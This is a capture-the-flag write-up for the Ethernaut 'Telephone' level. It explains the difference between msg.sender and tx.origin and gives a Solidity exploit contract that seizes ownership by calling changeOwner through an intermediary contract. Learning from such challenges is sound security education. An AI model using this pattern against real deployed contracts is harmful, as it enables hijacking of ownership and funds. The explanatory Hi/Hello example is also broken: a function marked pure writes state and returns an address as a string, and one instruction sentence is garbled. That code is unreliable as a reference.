Writeup for Telephone

  • Hello h4ck3r, welcome to the world of smart contract hacking. Solving the challenges from Ethernaut will help you understand Solidity well. For each challenge, they will deploy the contract and provide us with the instance of that contract. Our task is to interact with the contract and exploit it. Don’t worry if you are completely new to Solidity and have never deployed a smart contract before. You can learn how to deploy a contract using Remix here.

Challenge

  • Claim ownership of the contract below to complete this level.

Contract Explanation

Click to view source contract
        
 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.8.0;
 3
 4contract Telephone {
 5    address public owner;
 6
 7    constructor() {
 8        owner = msg.sender;
 9    }
10
11    function changeOwner(address _owner) public {
12        if (tx.origin != msg.sender) {
13            owner = _owner;
14        }
15    }
16}
  • If you feel like you understand the contract, you can move to the exploit part. If you are a beginner, please go through the Contract Explanation as well. It will help you understand Solidity better.

  • The contract has a single state variable called owner, which is initialized during the deployment of the contract.

1    constructor() {
2        owner = msg.sender;
3    }
  • In the above code snippet, the constructor initializes the owner variable to msg.sender. In the context of the constructor, msg.sender refers to the address of the person deploying the contract.
1    function changeOwner(address _owner) public {
2        if (tx.origin != msg.sender) {
3            owner = _owner;
4        }
5    }
  • The function changeOwner() is a public function that takes an address parameter _owner. _owner is the address of the new proposed owner.

  • The function checks if tx.origin and msg.sender are equal or not. If they are not equal, then the proposed _owner address will become the new owner of the contract.

  • Now you might be wondering what tx.origin is. Don’t worry, I’m here to explain.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.8.0;
 3
 4contract Hi{
 5    address sender;
 6    Hello hello=Hello(0xd9145CCE52D386f254917e481eB44e9943F39138);
 7
 8    function bye()public returns(string memory){
 9        sender=msg.sender;
10        return hello.Goodbye();
11    }
12
13    function view_sender()public view returns(address){
14        return sender;
15    }
16
17}
18
19contract Hello{
20    address origin;
21    function Goodbye()public pure returns (string memory){
22        origin=tx.origin;
23        return msg.sender;
24    }
25
26    function view_origin()public returns(address){
27        return origin;
28    }
29}
30
31
32//Address of Hi: 0xf8e81D47203A594245E36C48e151709F0C19fBe8
33//Address of Hello: 0xd9145CCE52D386f254917e481eB44e9943F39138
  • Let’s assume there are two contracts named Hi and Hello. The contract Hi has a function called bye() and Hello has a function called Goodbye().

  • When we deploy these two contracts and call the bye() function in contract Hi, the following will happen:

    • First, the sender variable will be updated to msg.sender. Here, msg.sender will be our address since we are calling the bye() function.

    • Then, it will call the Goodbye() function in the Hello contract and return the value returned by Goodbye().

    • Next, Goodbye() will update the origin variable with tx.origin and then return msg.sender. Since the Hi contract is calling Goodbye() in the Hello contract, the msg.sender will be the address of the Hi contract.

    • tx.origin refers to the address that initiated the transaction. In this case, we called the bye() function initially. So, the origin variable in the Hello contract is set to our address, and it returns the address of the Hi contract.

    • When you are trying out call view_origin() and view_origin() to verify.

  • If you are confused, you can open Remix and try the above example. It will be much clearer.

  • If you are unfamiliar with Remix, you can refer to this video tutorial: Remix Tutorial.

Exploit

  • The only condition we need to satisfy in the changeOwner() function is to make tx.origin not equal to msg.sender.

  • Similar to the previous challenge, if we write an exploit contract and call the changeOwner() function from the exploit contract, then msg.sender will be the address of the exploit contract and tx.origin will be our wallet address.

Click to view the Exploit contract
        
 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.8.0;
 3
 4import "../src/contracts/Telephone.sol";
 5
 6contract ExploitTelephone {
 7    Telephone public telephone;
 8
 9    constructor(address _telephone) {
10        telephone = Telephone(_telephone);
11    }
12
13    function Exploit(address _owner) public {
14        telephone.changeOwner(_owner);
15    }
16}

In Remix, during deployment, we need to provide the address of the Telephone contract as an argument to the constructor of the exploit contract.

  • Deploy the exploit contract and call the Exploit() function in the ExploitTelephone contract.

  • Once the call is done, submit the challenge instance.

Key Takeaways

  • The difference between msg.sender and tx.origin is crucial in understanding Ethereum smart contract security:
    • msg.sender: This is the address of the immediate account (either a contract or an external account) that called the current function.
    • tx.origin: This is the address of the original externally owned account that initiated the transaction, regardless of how many contracts were called in between.

***Hope you enjoyed this write-up. Keep on hacking and learning!***